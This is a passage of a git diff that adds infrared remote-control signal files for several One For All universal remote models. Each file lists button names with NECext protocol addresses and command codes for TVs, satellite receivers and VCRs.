+# +name: TEXT_DECREASE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: TEXT_TIME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: TEXT_INCREASE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: TEXT_REVEAL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2C 00 00 00 +# +name: TEXT_SQUISH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: TEXT+TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: X_KEY_2F +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: WHITE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: TEXT_INDEX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: A/V +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: X_KEY_3a +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: X_KEY_3B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: X_KEY_3D +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: X_KEY_3E +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir new file mode 100644 index 000000000..2c34feafd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: Off +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir new file mode 100644 index 000000000..b954ea71b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 03 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 06 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 07 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 0D 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 10 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 13 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 15 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 16 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 18 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 19 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1B 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 1E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 40 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 41 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 42 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 43 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 45 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 46 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 47 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 49 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 4A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 4D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 08 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir new file mode 100644 index 000000000..7affd30a5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir new file mode 100644 index 000000000..16433dea1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 23 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3C 00 00 00 +# +name: TV/VID +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 45 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: SKIPF +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 70 00 00 00 +# +name: SKIPR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 71 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir new file mode 100644 index 000000000..cbaca068a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: BLU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: FORW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: GRE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: YEL +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir new file mode 100644 index 000000000..28aabd777 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 09 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 0B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 0B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 15 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 18 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1B 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 1D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 21 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 35 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 42 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 4D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 61 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 62 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir new file mode 100644 index 000000000..060c1fb44 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 28 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 35 00 00 00 +# +name: UpArrow +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 42 00 00 00 +# +name: DownArrow +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 43 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 51 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 60 00 00 00 +# +name: RightArrow +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 61 00 00 00 +# +name: LeftArrow +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 62 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir new file mode 100644 index 000000000..571a51d4b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7020/5,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 11 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 32 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 38 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 56 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir new file mode 100644 index 000000000..39340830d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/One For All/Unknown_URC-7240/5,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 